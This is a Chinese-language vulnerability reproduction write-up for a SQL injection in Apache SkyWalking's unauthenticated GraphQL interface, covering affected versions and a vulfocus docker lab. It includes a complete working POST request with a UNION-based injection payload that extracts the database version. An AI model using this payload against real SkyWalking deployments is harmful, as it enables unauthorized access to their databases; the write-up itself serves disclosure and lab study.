简介
Apache SkyWalking 是一款应用性能监控(APM)工具,对微服务、云原生和容器化应用提供自动化、高性能的监控方案。项目于 2015 年创建,并于 2017 年 12 月进入 Apache 孵化器。
Apache SkyWalking 提供了分布式追踪,服务网格(Service Mesh)遥感数据分析,指标聚合和可视化等多种能力。项目覆盖范围,从一个单纯的分布式追踪系统,扩展为一个可观测性分析平台(observability analysis platform)和应用性能监控管理系统。
漏洞描述
SkyWalking使用H2、MySQL或者TiDB作为存储方案时,攻击者可通过默认未授权的GraphQL接口构造恶意请求,从而进行SQL注入。
影响版本
Apache SkyWalking 6.0.0 - 6.6.0, 7.0.0
测试环境
本次环境使用的是vulfocus拉起的docker环境进行漏洞复现
漏洞复现
进入环境后访问/graphql,构造POST数据包
POST /graphql HTTP/1.1
Host:192.168.8.230:56464
Content-Type: application/json;charset=utf-8
Content-Length: 315
Connection: close
{“query”:“query queryData($duration: Duration!) {globalP99: getLinearIntValues(metric: {name: “all_p99”, id: “’) UNION ALL SELECT NULL,CONCAT(’~’, H2VERSION(), ‘~’)–” }, duration: $duration) { values { value } }}”,“variables”:{“duration”:{“start”:“2020-08-07 1417”,“end”:“2020-08-07 1418”,“step”:“MINUTE”}}}
可以看到我们已经获得数据库的版本了